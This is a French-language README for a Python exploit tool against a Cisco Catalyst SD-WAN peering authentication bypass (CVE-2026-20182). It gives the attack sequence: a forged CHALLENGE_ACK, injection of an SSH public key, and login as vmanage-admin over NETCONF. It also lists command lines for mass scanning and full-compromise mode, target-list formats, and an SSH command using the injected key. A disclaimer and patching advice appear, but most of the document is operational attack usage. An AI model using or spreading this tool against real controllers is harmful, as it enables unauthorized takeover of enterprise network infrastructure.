
Contournement d'authentification du peering Cisco Catalyst SD-WAN
Contournement de l'authentification de peering Cisco Catalyst SD-WAN
Outil d'évaluation pour les tests autorisés du contournement de l'authentification de peering du contrôleur/gestionnaire Cisco Catalyst SD-WAN (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Gravité | Critique (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Produit | Contrôleur Cisco Catalyst SD-WAN (anciennement vSmart) · Gestionnaire Cisco Catalyst SD-WAN (anciennement vManage) |
| Problème | Mécanisme d'authentification de peering non appliqué correctement |
| Script | CVE-2026-20182.py |
Avis de mai 2026 : une faille dans la poignée de main de connexion de contrôle / l'authentification de peering permet à un attaquant distant non authentifié de contourner l'authentification et d'obtenir un accès interne à privilèges élevés sur les systèmes affectés.
Un attaquant envoie des requêtes falsifiées au système affecté. En cas de succès, l'attaquant peut s'authentifier en tant que compte interne, à privilèges élevés, non root et atteindre NETCONF, permettant la manipulation de la configuration du tissu SD-WAN.
Recommandation : Appliquer les correctifs de sécurité Cisco conformément aux directives officielles du fournisseur. Limiter l'exposition du plan de gestion, surveiller les connexions du plan de contrôle et auditer les contrôleurs SD-WAN pour détecter les modifications de configuration non autorisées.
Telegram : @KNxploited
CVE-2026-20182.pyFramework d'exploitation Python 3 pour CVE-2026-20182 contre Cisco SD-WAN vdaemon (UDP/DTLS 12346).
Rétablissement du tissu : En cas de TEAR_DOWN ou de discordance de paramètres, réessaye avec les préréglages alternatifs domaine/site (1,100), (1,1), (0,0) sauf si --no-fallback.
Important
check → niveau 03 au mieux (sonde de contournement). Pas une preuve d'exploitation complète.full → viser le niveau 01 (ssh_verified).https://host dans la liste → indice web TCP uniquement (80/443). Pas UDP DTLS sur 443.pip install -r requirements.txt
Windows
bin\ au PATH, ou définir :OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
L'outil se ferme au démarrage si OpenSSL ne peut pas être chargé.
python CVE-2026-20182.py
0 = LANCER L'ANALYSEcheck (sonde de contournement sûre)python CVE-2026-20182.py -y
CHECK — sonde de contournement uniquement
python CVE-2026-20182.py -y --mode check
FULL — injection de clé + vérification SSH (cibles autorisées uniquement)
python CVE-2026-20182.py -y --mode full
-f / --file — liste de cibles (défaut : targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — threads workers (1–200, défaut 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID par défaut quand absent de la liste (défaut : 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID par défaut quand absent de la liste (défaut : 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — ignorer le menu interactif ; utiliser uniquement les valeurs CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — ignorer le test SSH après injection (déconseillé en mode full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — essayer aussi TCP 22 après 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — uniquement UDP 12346 ; ignorer :port de la liste
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — lab : ports UDP supplémentaires sur chaque hôte
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — désactiver les tentatives de domaine/site en cas de TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — journaliser chaque message TX/RX du protocole
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y est omis)targets.txtUne cible par ligne. Les lignes commençant par # sont ignorées.
Exemple de fichier
# Contrôleurs de laboratoire — autorisés uniquement
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
Non pris en charge : IPv6 (IPv4 / nom d'hôte uniquement).
Exemple de commande SSH (niveau 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
Consulter cisco_sdwan_03_bypass_only.jsonl et les statistiques en direct Contournement uniquement.
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
Consulter cisco_sdwan_01_confirmed_ssh.jsonl — seul fichier avec ssh_verified: true.
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — n'écrit pas de clés et ne prouve pas SSH par lui-même.ssh_verified=true en mode full uniquement.TEAR_DOWN après CHALLENGE_ACK ; activer le rétablissement du tissu ou corriger domaine/site dans la liste.sdwan_keys/ ou les résultats d'analyse dans des dépôts publics.Ce logiciel est destiné uniquement à la recherche en sécurité autorisée, à l'évaluation défensive et à l'éducation.
Vous devez avoir une autorisation écrite explicite pour tester tout système que vous ne possédez pas ou n'exploitez pas. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur n'est pas responsable de toute mauvaise utilisation, des dommages ou des conséquences juridiques découlant de l'utilisation de cet outil.
Utilisez uniquement sur des systèmes et réseaux où vous êtes explicitement autorisé à effectuer des tests de sécurité.
Par : Nxploited ( Khaled Alenazi )
| Élément | Détail |
|---|
| Vecteur d'attaque | Réseau |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Portée | Modifiée |
| Impact | Confidentialité, intégrité et disponibilité — Élevé |
| Étape | Phase | Description |
|---|
| 1 | Chargement des cibles | Analyser targets.txt, fusionner les doublons par (host, domain_id, site_id) |
| 2 | Vérification préalable OpenSSL | Charger les bibliothèques partagées OpenSSL 3.x/4.x pour DTLS personnalisé |
| 3 | Connexion DTLS | Se connecter au port UDP cible (toujours 12346 en premier, puis liste de ports optionnelle) |
| 4 | CHALLENGE | Recevoir le CHALLENGE (0x08) du serveur |
| 5 | CHALLENGE_ACK | Envoyer un CHALLENGE_ACK falsifié en tant que vHub (type 2) — contournement de l'authentification |
| 6 | Hello | Compléter l'échange Hello — confirme le chemin de contournement |
| 7a | Mode CHECK | S'arrêter ici — enregistrer contournement / Hello OK uniquement (pas de clés, pas de SSH) |
| 7b | Mode FULL | Injecter une clé publique SSH via VMANAGE_TO_PEER |
| 8 | ACK d'injection | Attendre REGISTER_TO_VMANAGE (0x0D) comme accusé de réception protocolaire |
| 9 | Vérification SSH | Tester la connexion en tant que vmanage-admin sur TCP 830 (NETCONF), optionnellement 22 |
| 10 | Sortie | Trier les résultats en fichiers de niveaux + liste de commandes lisibles |
| Niveau | Fichier | Signification |
|---|
| 01 — SSH confirmé | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — seul niveau traité comme preuve de compromission complète |
| 02 — ACK d'injection uniquement | cisco_sdwan_02_inject_ack_only.jsonl | Le protocole a accepté l'injection de clé ; la connexion SSH a échoué |
| 03 — Contournement uniquement | cisco_sdwan_03_bypass_only.jsonl | Hello/contournement OK ; aucune injection confirmée |
| Prérequis | Remarques |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | Bibliothèques partagées 3.x ou 4.x (libssl + libcrypto) — obligatoire |
| Mode | Drapeau | Injection SSH | Vérification SSH | Quand l'utiliser |
|---|
| CHECK | --mode check (défaut) | Non | Non | Criblage de masse, détection de contournement |
| FULL | --mode full | Oui | Oui (sauf --no-ssh-verify) | Preuve de compromission |
| # | Option |
|---|
| 1 | Fichier de cibles |
| 2 | Threads workers |
| 3 | DOMAIN_ID par défaut |
| 4 | SITE_ID par défaut |
| 5 | Mode : check / full |
| 6 | Réessai automatique du tissu en cas de TEAR_DOWN |
| 7 | Journalisation verbeuse du protocole |
| 8 | Vérification SSH après injection |
| 9 | Vérifier aussi SSH :22 |
| 10 | Essayer les ports UDP explicites de la liste |
| 11 | Ports UDP supplémentaires (lab) |
| 12 | Afficher l'aide sur le format de la liste |
| 0 | ▶ LANCER L'ANALYSE |
| Format | Exemple | Comportement |
|---|
| IP / nom d'hôte | 10.0.0.1 | UDP 12346 + domaine/site par défaut |
| IP + port UDP | 10.0.0.2:12346 | Essaie aussi le port UDP de la liste |
| IP + port + domaine + site | 10.0.0.3:12346:1:100 | Tuple complet du tissu |
| URL HTTPS | https://10.0.0.4 | Hôte + indice TCP 443 uniquement (pas UDP/443) |
| URL HTTP | http://10.0.0.5 | Indice TCP 80 uniquement |
| URL UDP | udp://10.0.0.6:12346 | UDP explicite |
| Séparé par tabulation/virgule | 10.0.0.7 12346 1 100 | Identique au format à quatre champs |
| Clé=valeur | 10.0.0.8;port=12346;domain=1;site=100 | Syntaxe KV par point-virgule |
| Fichier | Contenu |
|---|
cisco_sdwan_results.jsonl | Résultat JSON brut par tentative |
cisco_sdwan_success.txt | Lignes SSH confirmées (séparées par des tabulations) |
cisco_sdwan_01_confirmed_ssh.jsonl | Niveau 01 — SSH vérifié |
cisco_sdwan_02_inject_ack_only.jsonl | Niveau 02 — ACK d'injection, SSH échoué |
cisco_sdwan_03_bypass_only.jsonl | Niveau 03 — contournement / Hello uniquement |
cisco_sdwan_commands.txt | Commandes SSH lisibles |
cisco_sdwan_findings.json | Résumé de session + compteurs |
sdwan_keys/ | Clés privées générées (mode full) |
| Compteur | Signification |
|---|
| Progression | Cibles terminées / total |
| SSH vérifié | Compteur niveau 01 |
| ACK d'injection | Compteur niveau 02 |
| Contournement uniquement | Compteur niveau 03 |
| Échec | Erreurs / pas de contournement |